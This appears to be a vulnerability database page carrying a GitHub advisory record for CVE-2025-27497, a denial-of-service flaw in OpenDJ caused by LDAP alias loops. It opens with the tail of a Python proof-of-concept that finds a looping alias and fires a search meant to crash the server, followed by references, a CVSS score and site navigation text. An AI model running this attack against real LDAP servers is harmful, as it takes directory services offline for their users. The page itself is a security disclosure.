args.port:\n        while True:\n            try:\n                port_input = input(\"Please enter the port of the LDAP server: \")\n                args.port = int(port_input)\n                break\n            except ValueError:\n                print(\"Invalid input. Please enter a valid integer for the port.\")\n\n    if not args.base:\n        args.base = input(\"Please enter the base DN of the LDAP server: \")\n\n    connection = connect_to_ldap(args.ip, args.port)\n    if connection:\n        aliases = find_aliases(connection, args.base)\n        looping_alias_dn = detect_alias_loop(aliases)\n        if looping_alias_dn:\n            execute_dos_search(connection, looping_alias_dn)\n            print(f\"DOS executed with alias: {looping_alias_dn}\")\n        else:\n            print(\"No looping alias DN found!\")\n        connection.unbind()\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-93qr-h8pr-4593",
  "modified": "2025-03-05T18:33:30Z",
  "published": "2025-03-05T18:33:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OpenIdentityPlatform/OpenDJ/security/advisories/GHSA-93qr-h8pr-4593"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27497"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenIdentityPlatform/OpenDJ/commit/08aee4724608e4a32baa3c7d7499ec913a275aaf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OpenIdentityPlatform/OpenDJ"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenDJ Denial of Service (DoS) using alias loop"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2025-27497 (GCVE-0-2025-27497)

FKIE_CVE-2025-27497

GHSA-93QR-H8PR-4593

Summary

Details

PoC (Steps to Reproduce)

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour